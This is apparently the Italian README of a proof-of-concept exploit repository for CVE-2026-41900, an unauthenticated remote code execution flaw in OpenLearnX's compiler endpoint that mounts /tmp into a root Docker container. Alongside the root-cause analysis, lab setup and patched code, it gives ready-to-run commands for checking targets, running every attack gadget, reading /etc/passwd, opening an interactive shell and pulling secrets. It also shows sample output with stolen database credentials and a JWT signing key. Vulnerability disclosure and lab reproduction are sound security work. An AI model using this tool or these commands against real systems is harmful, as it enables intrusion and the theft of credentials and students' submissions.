Proof-of-concept exploit per CVE-2026-41900, una esecuzione remota di codice non autenticata in OpenLearnX tramite montaggio di volumi container, che consente la divulgazione di /tmp e l'esecuzione di comandi.
| Proprietà | Valore |
|---|
| Nome | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Tipo | Divulgazione di informazioni non autenticata / RCE |
| Interessati | OpenLearnX < commit 14765d7 |
| Corretto | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (Alto) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (la mia pipeline automatizzata di intelligence sulle patch) ha segnalato un advisory silenzioso su OpenLearnX — GHSA-8h25-q488-4hxw pubblicato senza alcun dettaglio tecnico. Ho estratto il commit di correzione (14765d7) e l'ho confrontato con il suo parent (d19c4e4).
Il diff raccontava l'intera storia: execute_in_container() in backend/routes/coding.py era stato svuotato e sostituito da un real_compiler_service indurito. Il vecchio codice scriveva il codice fornito dall'utente in un file temporaneo, poi montava os.path.dirname(temp_file) — che risolve in /tmp — in un container Docker sibling come volume in sola lettura. Nessun user=, nessun cap_drop, nessun security_opt. Root di default.
Il punto cruciale: il blueprint compiler su /api/compiler/execute non ha decoratori di autenticazione. Qualsiasi richiesta non autenticata può attivare l'esecuzione di codice tramite la configurazione vulnerabile del container.
Ho isolato il codice pre-patch in un laboratorio locale, ho confermato tutti i vettori e ho scritto questo PoC.
POST /api/compiler/execute (nessuna autenticazione)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ risolve in /tmp → INTERO /tmp montato nel container
│
├─ Nessun user= → esegue come root (UID 0)
├─ Nessun cap_drop → capacità Docker di default
├─ Nessun security_opt → profilo seccomp di default
│
└─ L'attaccante legge: segreti, credenziali, chiavi JWT, submission di altri utenti
| Gadget | Gravità | CWE | Descrizione |
|---|---|---|---|
listing | ALTA | CWE-538 | Elenco directory di /tmp tramite volume mount |
secrets | CRITICA | CWE-538 | Legge credenziali, chiavi, config da /tmp |
submissions | ALTA | CWE-538 | Legge le submission di codice di altri studenti |
rootcheck | MEDIA | CWE-250 | Conferma esecuzione come UID 0 (root) |
caps | MEDIA | CWE-250 | Scarica le capacità Linux effettive |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Nessuna dipendenza — solo stdlib
chmod +x exploit.py
# Verifica se un target è vulnerabile
python3 exploit.py --check http://target:5000
# Esegue tutti i gadget + genera JSON di evidenza
python3 exploit.py --exploit http://target:5000
# Esegue un singolo comando
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Apre una shell interattiva
python3 exploit.py --shell http://target:5000
# Esegue gadget specifici
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Una volta dentro --shell, ottieni una shell pseudo-interattiva. Ogni comando genera un nuovo container effimero.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Scaricato jwt_signing_key.pem (235B)
root@container:/app# exit
Per riprodurre localmente:
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
Il laboratorio distribuisce un'app Flask containerizzata che riproduce il execute_in_container() pre-patch con:
/tmp condiviso tra host e container dell'appIl commit 14765d7 ha sostituito execute_in_container() con real_compiler_service che applica:
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # tmpdir isolato per ogni esecuzione
cap_drop=["ALL"], # rimuove tutte le capacità
security_opt=["no-new-privileges:true"], # previene l'escalation dei privilegi
user="65534:65534", # nobody, non root
...
)
| Data | Evento |
|---|---|
| 2026-04 | OSDC segnala l'advisory silenzioso GHSA-8h25-q488-4hxw |
| 2026-04 | Analisi del diff del commit 14765d7 vs parent d19c4e4 |
| 2026-05 | Riproduzione in laboratorio e sviluppo del PoC |
| 2026-05-06 | PoC completo confermato — tutti e 5 i vettori validati |
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro sistemi di cui sei proprietario o per cui hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale.
Christbowel · christbowel.com · Balgo Security Team